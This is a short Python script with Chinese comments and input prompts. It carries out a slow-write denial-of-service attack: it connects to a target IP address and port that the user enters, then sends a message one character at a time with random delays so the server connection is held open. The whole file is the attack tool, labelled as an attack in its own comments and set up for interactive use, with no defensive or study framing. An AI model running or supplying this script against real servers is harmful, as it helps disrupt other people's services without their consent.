import socket
import time
import random

def slow_write_attack(target_ip, target_port, message, delay_range=(0.05, 0.2), chunk_size=10):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))

    for i in range(0, len(message), chunk_size):
        chunk = message[i:i + chunk_size]
        for char in chunk:
            sock.send(char.encode())
            time.sleep(random.uniform(*delay_range))
        time.sleep(random.uniform(*delay_range))

    sock.close()

# 使用input()函数获取用户输入
target_ip = input("请输入目标IP地址: ")
target_port = int(input("请输入目标端口: "))
message = input("请输入要发送的消息: ")
delay_range = tuple(map(float, input("请输入延迟范围（最小值 最大值）(e,g, 0.05 0.2): ").split()))
chunk_size = int(input("请输入块大小(e,g, 10): "))

# 执行慢速写入攻击
slow_write_attack(target_ip, target_port, message, delay_range, chunk_size)